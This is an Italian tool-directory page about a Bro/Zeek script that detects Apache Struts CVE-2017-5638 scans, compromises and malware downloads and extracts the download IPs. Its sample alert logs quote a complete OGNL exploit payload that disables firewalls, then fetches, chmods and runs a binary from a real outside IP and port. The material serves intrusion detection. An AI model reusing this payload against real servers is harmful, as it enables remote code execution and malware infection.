Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-5638_struts — Script Bro/Zeek per rilevare la ricognizione, il compromesso e il tracciamento del download di malware di Apache Struts CVE-2017-5638 con estrazione automatica degli IP. | Kitploit
Strumenti/GitHubGitHub/initconf/cve-2017-5638_struts
Analisi delle VulnerabilitàExploitSicurezza di ReteAnalisi MalwareThreat IntelligenceRilevamento Intrusioni
GitHubinitconf/cve-2017-5638_struts

CVE-2017-5638_struts

Script Bro/Zeek per rilevare la ricognizione, il compromesso e il tracciamento del download di malware di Apache Struts CVE-2017-5638 con estrazione automatica degli IP.

Vedi Repository
8238 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ho esteso ulteriormente lo script di Scott Campbell, rendendolo più complicato :)

Mentre "HTTP_StrutsAttack" bloccherà il 100% della ricognizione, c'era ancora una minima possibilità che se uno scanner colpisse un sistema vulnerabile, anche se avessimo bloccato lo scanner, il sistema vulnerabile potesse comunque eseguire il comando wget incluso nella richiesta HTTP ed eseguire il malware. Poiché non stiamo bloccando l'IP di download del malware nell'URL wget, che è quasi sempre diverso dall'IP di ricognizione.

Quindi lo script esteso estrae anche l'IP di download del malware.

  1. Generare le seguenti notifiche:

    root@kitploit:~
     redef enum Notice::Type += {
             Attempt,
             MalwareURL,
             HostileDomainLookup,
             MalwareURLClick,
             FileDownload,
             Compromise,
     };
    
  • Quindi ora questo script estrarrà l'URL "wget" da Attempt e poi, se l'URL ha un dominio (o un dominio con CNAME), lo script rintraccerà ulteriormente gli indirizzi IP dell'host del malware e ne monitorerà l'attività.

  • se l'URL wget viene visto in http, genereremmo una notifica MalwareURLClick

  • ulteriori notifiche per FileDownload e Compromise.

  • Questo script è anche clusterizzato.

L'ho eseguito per 24 ore e le cose sembrano stabili per quanto riguarda lo script. Sono ancora sicuro che potrebbero esserci alcuni buchi di rilevamento sciocchi. quindi sentiti libero di modificarlo e farmelo sapere.

Stranamente, a differenza delle volte precedenti, non vedo un enorme volume di scanner Struts. Vedo nell'ordine di ~20 al giorno invece di ~1 000's al giorno.

Ecco alcuni esempi di notifiche:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -

http://121.42.249.245:1996/xhx;chmod

1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -

1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -

1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F

Scarica lo strumento